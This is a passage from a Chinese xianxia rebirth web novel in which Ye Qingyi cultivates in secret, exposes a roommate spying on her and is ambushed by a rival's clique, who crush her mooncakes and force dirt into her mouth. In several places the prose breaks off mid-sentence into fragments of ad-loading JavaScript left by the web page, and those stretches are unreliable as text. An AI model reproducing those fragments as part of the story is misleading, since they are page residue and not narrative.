适应了光线,视野也恢复了,终于看清几人身上都是统一的白色制服,发髻高束,自脑后长长垂下,是最常见也是最简单的发式,修习期间没有那么多时间让你慢慢梳妆,个别比较在意容貌的,会简单铺点脂粉,抹点口脂,添点颜色。 眼前这几位便是如此,这倒也无可厚非,只是多少让她们看起来更加刁蛮。 叶清漪好整以暇地往后一靠,眼神在三人脸上一一扫去,最后定在第一位的脸上:“你刚说什么?我没听清。” 说着微微将耳朵凑过去示意。 “我说你太不合群了!也不跟其他人来往,真没意思。”领头那位再次说道,她也是几人中最高的,身形较纤细。 “就是就是!”另一位也附和道,这一位体型中等,容貌……平庸,没什么记忆点。 第三位说话轻声细语的,也是三人中长得最好的,大约也知道自己姿容尚可,是以比较在意自身的风评,轻易不会落人口实,针对他人的同时也要维护自己的良善立场。 叶清漪直接被逗笑了。 “你笑什么?有什么好笑的!”个儿高的那位性情最是浮躁,见叶清漪这般态度,更是一刻也不能容忍,登时便要发作。 叶清漪尚未止住笑,带着笑意回道:“谁规定人少就要同人多的一方合群了?你们为何不与我合群呢?” 几人面面相觑,一时间没跟上叶清漪的思路。 “况且据我观察,群体会降低敏锐度和判断力,个人一旦融入群体,就会变得愚蠢百倍!”最后几个字更是特意对着她们几人说的,“如果不想在考核中因为变蠢而让自己身陷险境的话,劝你们也早日学会独来独往。” 虽然是嘲讽,但最后几句叶清漪也有几分真心劝导的意味在内。 叶清漪说完就闲闲地翻看起书来,并未生气,也不再继续说服她们。 三人都被这番言论弄得不知所措,她的回答远在几人预料之外,她们根本不知道怎么回击,尴尬地站在桌边,甚至因为叶清漪的“劝告”,几人已经默默拉开了距离…… 叶清漪手上拿的是那本《修行概论》,她正看到“魔修基础方法解析”这部分,这本书是近日才发下来的,也是叶清漪少有感兴趣的理论书,里面讲了很多修炼的原理和步骤,每小节后还附有相应魔修阶段的拆解,起到对照作用,也便于更好地记住知识点,外加对魔修增加一些了解,所谓知己知彼。 大部分学徒是不会看这部分的,戒律上课时也不讲解,叶清漪估计他多半是不理解,干脆不讲了,不过叶清漪倒对魔修的部分很感兴趣,这书是仙门的人撰写的,提及的魔修体系也不知是不是瞎编的。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凭借着前世不长的魔修经历,叶清漪倒是懂个大概,几个段落看下来,她发现这些理论居然完全正确,看来撰写之人果真下了一番功夫,只是不知从何处求证,不过按照仙门的惯例,多半是从被掳的妖物口中得知,或者取出他们的内丹研究得来。 叶清漪看了会儿觉得脖子酸痛,眼看如今也快下学了,她收拾好书袋,离开了问道堂。 连喜这两日很忙,没时间教她,应该是云宸快出山了,难得有空闲,她也没心思休息,只想尽快开始修习心法。 地方她都物色好了,僻静,隐蔽,少有人涉足——思过堂。 思过堂,顾名思义是给被处罚的弟子思过用的,云仞对弟子要求严苛,一般不会有人犯错,犯错后进思过堂的更是少之又少,小错不用进,多是体罚或者罚抄;大错进不了,直接除名了。 前世叶清漪闹成那样了也没来过,所以一开始并不知道云仞山还有这处所在,还是多亏了这些日子被逼着学习云仞创立史,得知此处原是开山祖师们建立下来的,时常用来惩治不争气的爱徒,不舍得除名、又特立独行违反门规者。 到了后来,天资卓越的修炼奇材几乎绝迹,三年一次选擢留下的也只是资质尚可之辈,叶清漪也够不上称为奇材,只是有打磨余地的可塑之才罢了,她能达到后来那样的修为,也是靠着日夜勤修苦练,天资只占很少一部分。 是以大部分弟子不需要被罚思过,思过堂也渐渐不再启用,又因是先祖建立,不得拆除改建,便保留了下来,后来的弟子自然不得而知。 如今思过堂无人使用,平日也是不设结界的,思过堂的结界是为了困住思过之人才会开启。 叶清漪拎着书袋一路哼着小曲,走到半路,趁四下无人,连忙拐进了去往思过堂的岔路。 她早已将连喜送的归墟草做成香囊随身佩戴,仙门培育的效力很强,维持一两年没有问题,后面实在不行只能再麻烦连喜了,毕竟她不能在内门大选之前暴露实力。 那次之后,她就没在前山见过连喜了,想来云宸出关了,他忙于修炼,无暇分身。 顾长风近日也不怎么出现了,捎带着凌雪瑶也不常来她跟前了,叶清漪巴不得落个清净,也懒得管他顾长风在忙什么! 这般想着,叶清漪已踏入思过堂的院落,果真僻静,此处是单独的一处院落,左右两侧连着其他区域,皆可随意通过,偶尔也有三两弟子走过,却没人会多走两步进入堂内, 院里有株高大的梧桐树,一阵风吹过,树叶发出窸窣的声响,间或掉落几片叶子,落在树下那圈厚厚的落叶丛中。 叶清漪看得出神,不料忽然打了个喷嚏,入秋后早晚还是有些凉,叶清漪搓了搓胳膊,赶出体内一丝寒意,许是下午在问道堂睡着后着了凉,如今没发冬装,她穿得也有些单薄,加之思过堂可能太过幽静,连带着四周的温度都比别处低了不少,她还是尽快修炼完回去吧! 叶清漪不再想其他,快步进了问道堂。 里面倒是没有她想象中那么破败,相对比较整洁,里面空间很大,两根一抱粗的红漆立柱顶天立地,正中摆有几个蒲团,看上去像是为了好几个人准备的。 叶清漪扯了扯嘴角:看来当年的师叔师伯们还真是“人才济济”……不乏离经叛道之辈啊! 16. 秘密修炼 后来叶清漪便开始了见缝插针的修炼,在经过了一个多月的运气打坐后,她成功完成了一次吐纳,吐出体内些许浊气,灵台也清明了一些。 戒律则在之前那次抱恙后就再也没恢复给她制定的教学计划,加之不久前的月度考核,叶清漪也勉强合格了,戒律也就没再提过加课的事,叶清漪也得以有更多时间修炼,有了前世的经验,进展也比较顺利,为了不让太多人察觉,叶清漪也不是每天都去。 这一日下学,叶清漪就在问道堂门口被人拦住了。 “叶清漪你别急着走,我们几个有点事情要问你。”领头的一位看着有点眼熟,另外还有两位师妹和一个师弟,皆不善地看着她。 叶清漪莫名其妙:“你们谁啊?” “上次在膳堂才刚见过,怎么转眼就把我们忘了?”身后的师妹阴阳怪气的,那语调听着就让人很不舒服。 另一位师妹也凑上来:“你还真是贵人多忘事啊!还是每天被长老拉着加课,脑子已经一团浆糊了啊!” “啊!我说为何有点眼熟……”叶清漪说着视线四处搜寻,一脸真诚地问,“那位被拧着手指的没来?” “她今天有事。”左边那位师妹解释了句,就被右边那位拉住。 “你这是想威胁我们吗?”右侧那位师妹扬了扬下巴。 “威胁?我可从来不会威胁人。”叶清漪上下打量她们,眉心轻拧,“你们这是……有事?” 领头的那位见话题终于回了正规,又恢复了信心,清了清嗓子,作出一副颐指气使的派头来:“我们几个观察你好几天了,这些日子你下学后没去膳堂也不在寝舍,每每还都很晚回来,说!你到底去干什么了?” 叶清漪扫了一圈,暗处没有其他人,但就这几位的智商,还没到会暗暗观察她数日的程度。 “就这事?我没必要跟你们汇报吧!”叶清漪累得很,不欲与她们多言,作势欲走。 “诶?别急着走啊!把事情说清楚再走。” “就是!你老实说,是不是偷摸干什么见不得人的事了!” 几人以为她心虚想走,态度瞬间强硬起来,加上这次还带了个师弟助阵,更是肆无忌惮,直接上手将叶清漪拉了回来。 叶清漪的忍耐即将耗尽,神情已经极度不悦,可几个人正在兴头上,对此不以为意。 右侧那位师妹更是变本加厉编排叶清漪:“看你这眼下的乌青,是不是每晚都忙着跟师兄们私会没休息好啊!真是辛苦!” 说完几个师妹对视一眼,发出暧昧的笑声。 那位师弟躲在最后强忍笑意,过了会儿抬头望向他处,一副事不关己的样子。 说话的师妹见叶清漪不反驳,笑得越发肆无忌惮。 “啪--”地一声脆响。 在场几人顿时傻眼了! 叶清漪毫无征兆地给了她一巴掌。 “终于安静了……”叶清漪长舒一口气,语气轻松。 被打的师妹半天没反应过来:“你……你凭什么打我!” 叶清漪抚摸着有点痛的手掌,略显困惑:“第一次打人巴掌还真有点痛!是不是我用力的位置不对。要不……再来一次?” “我……”师妹捂着脸默默后退…… “你疯了?当着这么多人面你竟敢殴打同门!”另一位师妹冲上来,“这么多人都亲眼目睹了,你就等着被赶下山吧!” 叶清漪转头问边上路过的两位师妹:“你们看到了吗?” 两位师妹连连摇头, 叶清漪扯了扯嘴角:“现在没了!” 后面那位师弟想上前帮忙又不敢,又对上带头那位师妹的眼神,有些过意不去,大着胆子开口:“都是同门,你怎么能动手呢!” 叶清漪看向他:“我打师妹可能还会留手,打你就不好说了,你确定要试试?” 那师弟连忙后退:“你们玩吧,我不奉陪了。” 说着丢下几人就走了。 “诶……”领头那位回头喊着,可那师弟脚下飞快,眨眼一拐弯,人影都不见了,“哼!也是个靠不住的!” 剩下的几人也都萌生退意,虚张声势地放了几句狠话就慌忙离开了。 看着她们离去的背影,叶清漪微微眯起眼,这几人经过之前的事,已经消停了好一阵子了,如今突然冒出来,必有蹊跷。 看来她们还没发现叶清漪经常去的是什么地方,思过堂暂时不能去了,叶清漪便早早回了寝舍。 刚一进门,裴佩正坐在门后的如意圆桌旁吃着糕点,一见她跟她打招呼:“今天这么早就回来啦!” 叶清漪点头以示回应。 另一位舍友正好坐在一旁,正把玩着一枚质地通透的灵石,刚对上叶清漪的眼神,就慌忙收起,一言不发起身准备离开。 叶清漪对她有些印象,好像叫夏侯静仪。 “如果我没看错,你刚拿的是上品灵石吧?这可不是学徒阶段能拿到的灵石品阶。”叶清漪直截了当指出她的不对劲。 “你居然认得?”夏侯静仪很诧异,意识到一时嘴快,又连忙改口,“咳……灵石?这是灵石吗?我不知道,我以为只是块普通石头,看着好看就留着把玩了。” “是吗?你方才的神情可不是这么告诉我的,还是说……”叶清漪转身逼近她身后,凑在夏侯静仪耳边,“凌雪瑶教你这么说的?” “她才没教我,是我自己……”夏侯静仪忽然不说了。 “什么上品灵石,和凌雪瑶又有什么关系,到底 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了?”裴佩一头雾水。 “到底年纪尚小,涉世未深,三两下就被诈出来了,”叶清漪走回桌边倒了杯温茶喝了,又道,“其实也很好推测,我的行踪只有寝舍里这几人知道,众人中你又是睡得最晚的,本该第一时间想到你,只是我素来不管这些,一时也难以想起,如果不是你急着欣赏得来的宝贝,也不会这么快被发现。” 裴佩明白过来,一拍桌子,愤愤地为叶清漪鸣不平:“夏侯静仪你怎么这样?到底我们是一个寝舍的,你怎么向着外人?那凌雪瑶你也敢搭理,之前她拿着剑杀到我们寝舍门口的事你竟全都忘了?况且清漪之前怎么帮我们的?若不是她,我们早就因考勤不合格被赶下山了,还让你有机会在这拿清漪的消息去换什么灵石吗?” 夏侯静仪被她这一番话说得难以自处,但又不想这么服软,只道:“左右你们已经发现了,想怎么处理都随你们!” “好好好!我们这便去长老面前分说,凌雪瑶有修言长老保着,顶多罚她抄写几遍门规也就罢了,你想留下可就难了!圣上最看中仙门和各世家的关系,也最重视世家子弟的品行,若此事传回去,侯爷的仕途和你的名声都别想保住了!”裴佩说着直接去拉夏侯静仪。 夏侯静仪这才慌了,一边拼命不让裴佩拉走,一边跟叶清漪道歉,“是我犯糊涂了,这灵石我也不要了,要打要骂都好,只求你别告诉长老和掌门!” 叶清漪把玩着茶杯,没有急着表态。 裴佩看了眼叶清漪的反应,心领神会,又要去拉夏侯静仪。 “哎呀……好啦!”夏侯静仪咬咬牙,一横心,当场立誓,“只要你们不告发此事,以后我夏侯静仪当牛做马报答你们,随你们差遣!” 叶清漪搁下茶杯,转头看向夏侯静仪:“人人都想拥有好的东西,这无可厚非,只是眼光要放长远些,切忌因小失大。” 夏侯静仪有些不理解。 叶清漪又道:“罢了,上品灵石的确难得!这次的事我不怪你,灵石你也收着,若后面凌雪瑶还来找你,你只管应下,只是你需要将所说一五一十告诉我。” “这……”夏侯静仪还有些犹豫。 裴佩又去拉她:“走走走!见长老!” 夏侯静仪没法子了:“好,我答应!我答应还不行吗?你们可得说话算话啊!” “早这么说啊!可累坏我了!”裴佩回到桌边坐下歇息,给自己连倒了好几杯茶,又悠闲地剥起南瓜子。 叶清漪也抓了一把,南瓜子刚出炉,还带了点温热,入口清香,正是当季,叶清漪出神地吃了一会儿,将手中剩下的扔回竹簸箕,拍拍掌心的烟灰。 原本她不想徒生事端,如今凌雪瑶既然如此穷追不舍,那她就好好陪她消遣消遣。 17. 莲蓉月饼 上午最后一节课,戒律让大家自行复习,坐在隔壁的裴佩用胳膊捅了捅叶清漪:“清漪一会儿跟我们一起去膳堂吃饭吧!” “你们去罢!我就不去了。”叶清漪不习惯和别人一起。 裴佩关切地问:“我看你最近都不怎么去膳堂了,你都不饿的吗?” 夏侯静仪也凑过来:“这么一说还真是,你不会背着大家偷偷开小灶了吧!” 叶清漪:“没有,我去的晚,你们没看到罢了。” 夏侯静仪不疑有他:“我说你怎么经常下午不来呢,原来都待在膳堂吃好吃的,下午膳堂会比平时多出些糕点吗?” 裴佩有些惋惜:“今天膳堂有月饼卖,你真的不和我们一起吗?” 叶清漪翻书的手一顿:“且慢,我也好久没去膳堂了,今天暂且和你们一起吧!” 裴佩一喜:“好呀,一会儿下课我们早点过去吧!晚了可就没有了。” 三人下学后直奔膳堂卖月饼的窗口。 裴佩一马当先:“师傅,月饼还有吗?” 师傅:“只有豆沙和五仁的了,你们要吗?” 叶清漪看了看窗口后摆的几盆月饼,边上两盘都空了,只有五仁和豆沙的还剩一些。 “啊?我想吃鲜肉的……”裴佩有些失落。 师傅:“鲜肉做的少,已经卖完了,想吃的话明天再来吧!” 裴佩又问她俩:“你俩呢,要吃吗?” 夏侯静仪先一步上前:“我要一个豆沙的。” 叶清漪往里看了眼,摇摇头:“我就不用了。” 裴佩已经对月饼失去兴趣:“没关系,我们再去看看别的。” 最后裴佩买了一屉包子,外加一碗阳春面,夏侯静仪除了月饼外又拿了一份玲珑蒸饺,叶清漪只端了一小碗莲子百合羹。 裴佩看了眼叶清漪的吃的,有些懊悔:“你就吃这个啊!怪我事先没问过你的口味,只是这月饼卖的也太快了,他们都翘课来买的吗?” 对面的夏侯静仪也道:“是啊,你就喝这个怎么行?要不吃点我的蒸饺吧!” 叶清漪推辞道:“无妨,饿点清醒。” 裴佩和夏侯静仪交换了个眼神,皆满怀敬意。 夏侯静仪:“太强了,原来我是吃得太饱才这么稀里糊涂的吗?” 裴佩早已习惯:“清漪总是很有想法,我总觉得你好像比我们都成熟,有时候我都不懂你说的话,总觉得很高深。” 夏侯静仪狠狠点头:“没错,我早就想说了,清漪身上有一种……不符合年龄的淡然。” 叶清漪舀了勺莲子羹:“还好吧,按你们所言,我们这个年龄,该是什么表现?” 夏侯静仪歪着头想了会儿:“不过这么说来,我们每个人似乎都各不相同,也能理解。” 二人很快略过这个话题,又继续谈论其他了。 叶清漪却不由得开始想,前世这一年,她是什么样子的? 那时她刚进山,心中满是逃离叶家那个牢笼的欣喜,一心只想在仙门有番作为,勤加修炼,肆意而为,丝毫不懂韬光养晦,更是直接破了问道堂的结界,和同门斗法时也是不遗余力,明里暗里得罪了不少人。 虚与委蛇,察言观色,她也不是不会,但她不屑如此,小心翼翼审时度势的日子,她前十四年已经过够了。 就算如今,她也不曾后悔,只是如果再谨慎些,也许后来的命运会有所不同,如果她还留在流云殿,云宸是不是就不会被人暗害了? 叶清漪自嘲地想,不管前世还是今生,她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好像都不知道什么才是这个年龄该有的表现。 “叶清漪,好巧!”一道熟悉的声音打断了她的回忆。 叶清漪抬头,是许久未见的连喜:“师兄今日怎么得空来了?” 连喜不好意思地挠挠头:“听说你们膳堂新出了莲蓉月饼,想着过来瞧瞧,没想到来晚一步,已经卖空了。” 裴佩摇摇头,热心解释:“没来晚,我们一散学就过来了,也没抢到。” “原来如此。”连喜点点头。 “二师兄,这里!”对面有人招手让连喜过去。 “那我就不打扰你们了。”连喜说完便离开了。 叶清漪搅着碗里的莲子羹,看着连喜走远的背影,思绪猝不及防回到前世在魔界过的第一个中秋节,连喜在集市上排了好久的队,给她买回来两大盒莲蓉月饼。 她本不喜甜腻之物,也不知是否因着前世的日子过得太苦了,后来她也慢慢爱上了莲蓉月饼。 只可惜后来随着魔修功成,她再尝不出任何滋味,莲蓉月饼的味道也只能永远停留在记忆里了。 这时夏侯静仪看了看四周,压低声音凑近叶清漪:“凌雪瑶昨晚又来找我了,向我打听你最近的动向。” 叶清漪收回思绪,定定看着夏侯静仪,示意她说下去。 “我按你交代的,把你的情况一五一十都跟她说了,估计很快她就要按耐不住出手,这几日你可得提防些。” 叶清漪点点头,已有计较。 中午是有半个时辰的休息时间的,三人吃过中饭,裴佩和夏侯静仪回了寝舍,叶清漪则转道去了练武场,近来顾长风一直在准备试炼大会的事宜,经常来练武场和泽成一起商讨流程安排,中午的时候也经常在这里小憩,叶清漪此来就是找他的。 18. 莲蓉月饼2 “听说了吗?最近大师兄好像跟叶清漪走得很近。” “是吗?大师兄不是和凌师妹关系最好吗?” 几个师妹在路过藏经阁时小声讨论着,被躲在书架后的叶清漪听个正着。 事情似乎又回到了原本的轨道,可这一次,她不会再隐忍不发了。 叶清漪正准备起身离开,感知到另一侧书架后有灵力的波动,她下意识警惕:“谁?” 一个熟悉的身影自书架后走出,是连喜。 “师兄好。”叶清漪默默和他拉开了一段距离。 连喜注意到了此举,眉心微蹙:“你似乎……有些怕我?初次见面时,你胆子不是挺大的吗?还是,你有什么不可告人的秘密,所以心虚啊?” “师兄说笑了,只是乍然在此遇到师兄,有些意料之外。” 连喜托着下巴思索片刻,像是忽然顿悟一样一拍手道:“啊!还是因为刚刚路过的那些师妹说的话?我想,你不必在意。” “所以,师兄方才都听到了?” 连喜不好意思地笑笑:“只是恰好在此偷个懒,不是有心要听师妹的闲话的。” 叶清漪点头:“我知道。” “如此便好,”连喜点点头,又看向一旁的窗户,两扇镂空雕窗大开,可以清楚看见外面的情况,刚刚两位师妹的声音也清楚传到藏经阁内,“只是她们如此到处编排你,总有一天会传得人尽皆知的,师妹你不打算做点什么?” 叶清漪但笑不语。 连喜心领神会:“还是说,你已经有所行动了?刚刚你应该是察觉到我的灵力波动才发现我的吧,若我没记错的话,如今你们还没开始打坐调息吧!” 说着视线落在她腰间的香囊上:“说来不巧,我在那边书架上无意间翻到一本《灵草百解》,上面提到,这归墟草除了驱蚊,还有其他的作用。” 叶清漪扯扯嘴角,干笑两声:“额……是吗?” “归墟草驱蚊的原理很简单,就是隐匿你的气息,让蚊虫捕捉不到,自然不会围着你转了,也就是说,它可以隐匿你身上所有气息,包括修炼引起的真气。” 最后一句,连喜刻意靠近叶清漪,压低声音说的。 叶清漪后退半步,正对上连喜眼底玩味的笑意。 在仙门的连喜这么难缠的吗?叶清漪有些头疼,这样下去,只怕不等他遇到挫折,叶清漪就会是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他最大的挫折! “既然被师兄发现了,我也就不隐瞒了,当然,我也自知瞒不过师兄,毕竟师兄你聪慧机敏,风流倜傥……” “停停停,打住!你少来这套。”连喜打断了叶清漪毫不走心的恭维。 “那师兄想怎么处理,才能替我略作隐瞒呢?”叶清漪努力维持着笑意,尽量不让自己表现得太咬牙切齿。 “等等,我想想啊!”连喜退回半步,站直身子,认真思考着。 看在前世的连喜的份上,叶清漪再次耐着性子等着。 “啊对!不如你替我带莲蓉月饼吧!” 叶清漪笑容一僵,前世的记忆再次涌现,思及过往种种,神色不由得流露出几分怅惘。 连喜唬了一大跳:“你干嘛?让你带个月饼不至于吧!我之前还给你带过桃花酥呢!” 叶清漪收拾好心情,拍了拍连喜的肩:“放心吧,交给我,你这一月的月饼我承包了!” 说着扭头出了藏经阁,像是再难承受一般在台阶前俯身,平复气息,想到阁内的连喜,又迅速调整状态,离开了。 连喜紧随其后出来,困惑地挠头:这位师妹怎么一阵儿一阵儿的? 19. 莲蓉月饼3 一连几日,莲蓉月饼依旧售罄,这日去的早,难得还剩好几个,叶清漪大手一挥:“师傅,这些我全要了。” “小姑娘好运气,今天后厨采购食材刚回来,刚多做了十几只就被你碰上了。”做月饼的老师傅一边揉着面饼一边抬头看向叶清漪。 “哪儿啊,这姑娘每天这个时候都来这等,这是人家努力的结果。”戴着蓝布头巾的大婶笑吟吟冲她点头,手脚麻利地将剩下的月饼都给她装上了。 “多谢!”叶清漪付过钱,接过月饼,刚出炉,还热乎的。 她一刻不想耽搁,抱着月饼直奔藏经阁。 快到藏经阁时却被半道出现的两个师妹拦住了,叶清漪认出还是之前屡次找她麻烦的其中两位。 “又是你们?我今天有事,没功夫陪你们消遣了!”叶清漪说着欲走,被结结实实拦住了去路。 此时她们所在的是藏经阁五十步开外的岔路上,藏经阁就在右侧,从此处望去,可以清晰看见藏经阁以及门口一大片的砂砾平滩,门内的人只要往这个方向看,也可以轻易看到这边的情况。 小路两旁种了半人高的灌木,将小路上的人圈在其中,想从两边走的可能性不大,灌木不比矮墙,支撑力不足,强行攀爬还容易受伤;要去藏经阁,必须从小路一端的出口出去,如今叶清漪正被她们堵在小路中央。 藏经阁近在咫尺,叶清漪不想和她们周旋,更怕连喜在里面看到她如今的处境,叶清漪抱着月饼准备后撤,转身发现,后面的路也被凌雪瑶和另外一个师妹堵上了。 看来她们是有备而来,早早摸清了叶清漪这几天的行迹,特地选了这个地方,无论从何处过来,这条小路都是去藏经阁的必经之路,地形优势明显,确实适合前后夹击! 没想到凌雪瑶这次居然长脑子了! 凌雪遥一步步逼近,这次她没带霜华剑,据说上次的事情之后,霜华剑就被修言长老暂时收回了。 难怪凌雪遥恨她恨得牙痒痒! 其他几位的名字叶清漪也已经知道了。 最开始被她拧过手指的叫殷淑贤,被她打了一巴掌的是何文雅,领头那位叫南宫君霖,何文雅跟着凌雪瑶,愤愤看着叶清漪,看来还急着被掌掴之耻。 “叶清漪,你怎么一见我们就跑?”南宫君霖在她身后问。 说话间凌雪遥已经快走到她面前了。 她看了眼被叶清漪紧紧护着的油纸包,嘴角浮起不善的笑意:“你怀里抱着什么?拿出来也给师姐们分享分享!” 他们如今是没有论资排辈的,都是以师兄师姐尊称对方,自谦则称师妹师弟,像凌雪瑶这样自称师姐的还真是少数。 “不是什么要紧东西。”叶清漪不想此时跟她们发生冲突,打算强行从身后突围,转身却被凌雪瑶一把拉住胳膊。 “想走?我们一心想跟你交朋友,没想到你连点吃的都不愿分享,看来我们只能努努力了!”凌雪瑶说着便要来抢纸包。 叶清漪护得很紧,一时难以得逞。 凌雪遥气急,更用力拉扯她的胳膊:““我倒要看看是什么好东西,值得你这样护着!” 其他几人也上手来帮忙。 叶清漪强忍怒气:“放手!” 另一边的南宫君霖扯开纸包一角:“我看到了,是月饼!” 殷淑贤尖着嗓子在她耳边喊着:“难怪一天连点月饼渣渣都买不到,合着都被你一人包圆了!” 几人合力拉扯着叶清漪,可叶清漪如今身量见长,又拼尽全力护着月饼,几人一时还拧不过她。 凌雪瑶见状眸色一暗,改拉扯纸包,一个用力,纸包瞬间被撕开一个大口子,月饼尽数滚落,掉在了石板路上。 “既 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然如此,那谁也别想吃了!”凌雪瑶脸上毫无愧色。 “你!”叶清漪怒火中烧,抬手要给凌雪瑶一巴掌,被其他三人合力拉住,动弹不得。 “怎么?心疼了?以为这就算完了?”凌雪瑶说着毫不留情地一脚踩上月饼,将一个个莲蓉月饼狠狠碾碎,口中还说着,“我得不到的,谁也别想得到!” 叶清漪怀中一空,只剩一个破损的纸包。 看着被无情践踏进泥土中的月饼,那种熟悉的屈辱感再次漫上心头,前世种种历历在目,她不是不懂这些人的手段,只是前世的她清高孤傲,不屑与她们周旋,却忘了,终有一日,毒蛇会在某个不经意的时刻狠狠反咬你一口。 看到叶清漪的反应,凌雪瑶满意一笑,她蹲下来翻着月饼泥,轻拈起一小块还算完整的打量着,语气惋惜:“原来是莲蓉月饼,浪费了怪可惜的,这可怎么好?” “她不是喜欢吃吗?给她吃好了!”何文雅眼神恶毒地看着她。 “对啊!我怎么没想到,”凌雪瑶说着起身,用手帕擦着手,面无表情看着叶清漪,“文雅,你来喂她吧!就当是报答她当初的掌掴之恩。” 说着将手帕一扔,白色的手帕飘落在地,凌雪遥一脚踏上,在上面留下一个清晰的脚印。 “真是的,把我鞋底都弄脏了。”凌雪瑶似是十分苦恼。 何文雅松开她,蹲下去抓了一大把月饼碎渣回来,得意的笑都快藏不住了:“师妹对我如此大恩,我也该好好服侍师妹一回,就是这月饼有些碎了,师妹不会介意的吧!” 说着将一把月饼递到叶清漪嘴边,一股泥土的气息铺面而来,说是月饼渣,不如说是一把混和着月饼的泥渣。 叶清漪牢牢盯着何文雅,对方下意识有些退缩,一想到边上有凌雪瑶,顿时又大了胆子,直接将手里那把泥土往叶清漪嘴里塞! 20. 莲蓉月饼4 叶清漪口鼻间瞬间充斥满了泥巴,呼吸十分困难,她拼命挣扎,却被几人牢牢钳制着。 “吃吧!多吃一些!你就配吃这种,那膳堂卖的月饼也是你配吃的!” “你放心,这里少有人来,不会有人知道你在这偷吃月饼的……” “让你整日嚣张,这次好好长长记性,以后给我夹起尾巴做人!” 她是要好好记住…… 叶清漪脸都憋红了,已经分不清哪句话是谁说的,如今她落了下风,只能忍耐。 就在她即将窒息的时候,一个熟悉的声音打断了凌雪瑶。 “凌师妹,是你在那儿吗?” 叶清漪的心一沉——是连喜…… 凌雪瑶几人一齐望去,眼神有些慌乱,但在看到对方是连喜后,凌雪瑶很快松弛下来,暗暗给何文雅使眼色,自己则向连喜走去。 “发生什么了?我看你们好像有什么误会?”连喜温柔的声音在叶清漪身后响起。 何文雅已经松手,叶清漪得了空当,连咳好几下,拼命大口呼吸着,另外三人交换了眼神,南宫君霖凑近叶清漪低声威胁:“警告你别乱说话,否则有你好果子吃!” 叶清漪自然也没有转身,如今这副模样,她不想连喜看到。 “二师兄,你怎么在这儿?”凌雪瑶声音甜美和连喜打招呼。 “我刚好路过此处,”连喜应该朝她这里看了一眼,又问,“几位师妹为何在此?” “哦,我们也是刚好路过,几个师姐妹闹着玩呢!没什么事,师兄有事就去忙吧!” 叶清漪听着他们的对话,心底升起不好的预感,凌雪瑶的态度明显带着敷衍。 “我是来找叶师妹的,我托她给我带了点东西。”连喜说话时似是带了点小心,不似与叶清漪说话时那般自在。 “啊!”凌雪瑶夸张地喊出声,“那包月饼是师兄的吗?真是抱歉,方才我们不慎撞到叶师妹,叶师妹也没拿好,月饼不小心掉下地了,师兄你……不会怪罪吧!” 连喜迟疑片刻,似乎想上前来找叶清漪。 凌雪瑶紧接着补充道:“这样,过两日我让阿爹吩咐小厨房再做一些,当是给师兄赔礼了,可好?阿爹小厨房的手艺肯定比学徒膳堂要好。” 连喜沉默下去,也没有上前的征兆:“不过是些月饼,明日我再买便是,师妹不必在意。” “这样啊!那好吧!”凌雪瑶语气轻快,言语间也没了方才的客气,见连喜不走,又问,“师兄还有事吗?” 连喜斟酌着开口:“我另找叶师妹有事要谈。” “这样啊,”凌雪瑶回过头来喊叶清漪,“叶师妹,二师兄找你,你这会儿方便吗?” 叶清漪没有作答。 凌雪瑶替她回答:“看来她们还有些事情没说完,要不稍后让叶师妹过去找师兄吧!” 连喜将信将疑,又问叶清漪:“叶师妹,那我先去藏经阁等你了?” 叶清漪背着身应了:“好。” 嗓音带着几分沙哑。 连喜不疑有他,跟凌雪瑶道了别就走了。 叶清漪的心彻底跌入谷底,因为过于气愤,浑身血液都变冷了,清晰地流过每一寸肌肤,恨意充斥胸膛。 连喜走后几人都松了口气。 南宫君霖抚着心口:“吓死我了,幸好遇到是二师兄。” 叶文雅更是难掩得意:“是啊,谁不知道二师兄对凌师妹痴心一片啊!” 这话刚好对着回来的凌雪瑶说的。 凌雪瑶神色难掩鄙夷:“也就今天情况特殊,换了平日,我才懒得搭理他!” 殷淑贤附和:“就是就是,他也配和大师兄比 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !全门上下谁不知道凌师妹是大师兄最在意的人啊!” 几人三言两语将凌雪瑶哄得身心舒畅,直说得凌雪瑶眉眼都染上了红晕。 “好了,人尽皆知的事就别再说了。”凌雪瑶捂着脸,娇羞了片刻,又不悦地看着叶清漪,“偏有那起子没眼力见的,牵扯着大师兄不说,不知何时又跟二师兄熟络了。” 南宫君霖一把抓住叶清漪的发髻往后拉:“听到了吗?以后离大师兄远一点,否则见你一次收拾你一次!” 凌雪瑶似是觉得无趣了,打了个哈欠,懒懒道:“折腾这么久也挺累的,这便散了吧!” 几人这才放过叶清漪,离开前还不忘推搡叶清漪几下。 叶清漪本可以趁凌雪瑶离开时抓一把月饼渣渣喂给她,但她并没这么做,只是站在原地看着几人远去——她要做的远不止这些。 原本她还有所犹豫,既然如此,她也不必留余地了。 叶清漪正准备离开,连喜从一侧走出,叫住了她:“叶师妹,你还好吗?” 叶清漪身形一顿,转过身去,也没有擦去脸上的泥污。 连喜眼中有明显的震惊之色:“你……” “你不是都看到了吗?何必多此一问。”叶清漪将手中破烂的油纸一扔,油纸便直接落在一旁的灌木丛上,破败的,潦草的。 连喜作势欲上前。 叶清漪抬眼看着他:“怎么?还是你想再为你的凌师妹出出气,好去她面前再讨几分好?” 连喜伸在半空的手一顿,步子也停了:“我……我不是那个意思。” 叶清漪转身欲走,又背对连喜说,“对了,以后你想吃什么自己去买,或是再去招惹些旁的人来聊以慰藉,我就不奉陪了!至于这归墟草,等我采来些野生的,自会物归原主!” 言罢,不再停留。 21. 半路被拦 试炼大会快开始的前几日,顾长风越发忙碌,连带着叶清漪也不见人影,关于二人的闲话愈演愈烈,学徒们被枯燥的修习日常压抑的想象力也得以尽数发挥,流言的版本也不尽相同。 “叶清漪怀了顾长风的骨肉,二人准备下山成亲。” 